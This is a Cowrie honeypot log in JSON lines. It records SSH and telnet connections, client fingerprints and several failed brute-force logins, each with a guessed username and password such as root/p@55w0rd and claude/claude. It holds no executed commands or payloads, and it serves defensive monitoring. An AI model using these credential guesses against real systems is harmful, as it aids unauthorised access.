{"eventid":"cowrie.login.failed","username":"root","password":"respect","message":"login attempt [root/respect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:58.799030Z","src_ip":"103.77.242.62","session":"bee6c35ab472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42924,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9ff44c57c44","protocol":"telnet","message":"New connection: 192.119.13.58:42924 (10.17.0.5:23) [session: d9ff44c57c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:59.151056Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:00.043209Z","src_ip":"103.77.242.62","session":"bee6c35ab472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59448,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b6f89748bc6","protocol":"telnet","message":"New connection: 192.119.13.58:59448 (10.17.0.5:23) [session: 2b6f89748bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:02.244296Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60460,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd44319eb24d","protocol":"telnet","message":"New connection: 192.119.13.58:60460 (10.17.0.5:23) [session: cd44319eb24d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:02.421317Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.11.66","src_port":50322,"dst_ip":"159.203.135.109","dst_port":22,"session":"40d30bbd9b83","protocol":"ssh","message":"New connection: 116.110.11.66:50322 (159.203.135.109:22) [session: 40d30bbd9b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:05.414349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:05.427665Z","src_ip":"116.110.11.66","session":"40d30bbd9b83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:05.683045Z","src_ip":"116.110.11.66","session":"40d30bbd9b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":38442,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d67933e0243","protocol":"ssh","message":"New connection: 81.9.145.130:38442 (10.17.0.5:22) [session: 5d67933e0243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:06.543008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:06.547700Z","src_ip":"81.9.145.130","session":"5d67933e0243","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@","message":"login attempt [root/@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:06.568124Z","src_ip":"116.110.11.66","session":"40d30bbd9b83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:06.660283Z","src_ip":"81.9.145.130","session":"5d67933e0243","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ha,bon!45","message":"login attempt [root/ha,bon!45] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:07.138761Z","src_ip":"81.9.145.130","session":"5d67933e0243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55740,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee15b788de40","protocol":"telnet","message":"New connection: 192.119.13.58:55740 (10.17.0.5:23) [session: ee15b788de40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:07.446539Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":15717,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf9f845b2484","protocol":"ssh","message":"New connection: 45.66.52.41:15717 (10.17.0.5:22) [session: cf9f845b2484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:07.654047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:07.659138Z","src_ip":"45.66.52.41","session":"cf9f845b2484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:07.918490Z","src_ip":"45.66.52.41","session":"cf9f845b2484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:08.256651Z","src_ip":"81.9.145.130","session":"5d67933e0243","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:08.699816Z","src_ip":"45.66.52.41","session":"cf9f845b2484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.92091512680054,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:08.717365Z","src_ip":"192.119.13.58","session":"530d7f2e6fbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:09.879090Z","src_ip":"45.66.52.41","session":"cf9f845b2484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:10.030854Z","src_ip":"116.110.11.66","session":"40d30bbd9b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40444,"dst_ip":"10.17.0.5","dst_port":23,"session":"d51d41f6be7f","protocol":"telnet","message":"New connection: 192.119.13.58:40444 (10.17.0.5:23) [session: d51d41f6be7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:10.306441Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42622,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ba4e82aafc5","protocol":"telnet","message":"New connection: 192.119.13.58:42622 (10.17.0.5:23) [session: 2ba4e82aafc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:10.804258Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54924,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a84ca428d1f","protocol":"telnet","message":"New connection: 192.119.13.58:54924 (10.17.0.5:23) [session: 6a84ca428d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:16.947717Z"}
{"eventid":"cowrie.session.closed","duration":31.5918710231781,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:18.536767Z","src_ip":"192.119.13.58","session":"6dfc1b0985ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":19598,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b0899d954d6","protocol":"ssh","message":"New connection: 158.178.141.16:19598 (10.17.0.5:22) [session: 5b0899d954d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:20.089928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:20.098626Z","src_ip":"158.178.141.16","session":"5b0899d954d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:20.310907Z","src_ip":"158.178.141.16","session":"5b0899d954d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.41007924079895,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:21.109831Z","src_ip":"192.119.13.58","session":"bec1af335752","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@55w0rd","message":"login attempt [root/p@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:21.190111Z","src_ip":"158.178.141.16","session":"5b0899d954d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33502,"dst_ip":"10.17.0.5","dst_port":23,"session":"9395a76fa4cf","protocol":"telnet","message":"New connection: 192.119.13.58:33502 (10.17.0.5:23) [session: 9395a76fa4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:21.608293Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":55384,"dst_ip":"10.17.0.5","dst_port":22,"session":"a46a3ecac48e","protocol":"ssh","message":"New connection: 103.149.170.125:55384 (10.17.0.5:22) [session: a46a3ecac48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:22.008790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:22.016384Z","src_ip":"103.149.170.125","session":"a46a3ecac48e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:22.279619Z","src_ip":"103.149.170.125","session":"a46a3ecac48e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60772,"dst_ip":"10.17.0.5","dst_port":23,"session":"69c90a415716","protocol":"telnet","message":"New connection: 192.119.13.58:60772 (10.17.0.5:23) [session: 69c90a415716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:22.325489Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:22.405127Z","src_ip":"158.178.141.16","session":"5b0899d954d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"666666a","message":"login attempt [root/666666a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:23.078458Z","src_ip":"103.149.170.125","session":"a46a3ecac48e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40900,"dst_ip":"10.17.0.5","dst_port":23,"session":"aef8700fe4db","protocol":"telnet","message":"New connection: 192.119.13.58:40900 (10.17.0.5:23) [session: aef8700fe4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:23.731860Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:24.345315Z","src_ip":"103.149.170.125","session":"a46a3ecac48e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.97410202026367,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:25.702332Z","src_ip":"192.119.13.58","session":"4c2dcd7b28de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60984,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec95b0629ddf","protocol":"telnet","message":"New connection: 192.119.13.58:60984 (10.17.0.5:23) [session: ec95b0629ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:29.619175Z"}
{"eventid":"cowrie.session.closed","duration":33.304983377456665,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:35.726149Z","src_ip":"192.119.13.58","session":"cd44319eb24d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59806,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eef79cef300","protocol":"telnet","message":"New connection: 192.119.13.58:59806 (10.17.0.5:23) [session: 4eef79cef300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:36.339197Z"}
{"eventid":"cowrie.session.closed","duration":43.01697635650635,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:36.475856Z","src_ip":"192.119.13.58","session":"27997d27b247","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.852128982543945,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:37.003060Z","src_ip":"192.119.13.58","session":"d9ff44c57c44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.913336753845215,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:38.157479Z","src_ip":"192.119.13.58","session":"2b6f89748bc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40404,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ddcfebd1afc","protocol":"telnet","message":"New connection: 192.119.13.58:40404 (10.17.0.5:23) [session: 2ddcfebd1afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:39.027043Z"}
{"eventid":"cowrie.session.closed","duration":31.303710222244263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:41.610020Z","src_ip":"192.119.13.58","session":"d51d41f6be7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.947899341583252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:41.752011Z","src_ip":"192.119.13.58","session":"2ba4e82aafc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35528,"dst_ip":"10.17.0.5","dst_port":23,"session":"cff251786ad8","protocol":"telnet","message":"New connection: 192.119.13.58:35528 (10.17.0.5:23) [session: cff251786ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:45.178291Z"}
{"eventid":"cowrie.session.closed","duration":38.557504415512085,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:46.003938Z","src_ip":"192.119.13.58","session":"ee15b788de40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40666,"dst_ip":"10.17.0.5","dst_port":23,"session":"857be0594aa3","protocol":"telnet","message":"New connection: 192.119.13.58:40666 (10.17.0.5:23) [session: 857be0594aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:46.428113Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.251.244.178","src_port":58748,"dst_ip":"10.17.0.5","dst_port":22,"session":"851f26722b6a","protocol":"ssh","message":"New connection: 106.251.244.178:58748 (10.17.0.5:22) [session: 851f26722b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:50.495630Z"}
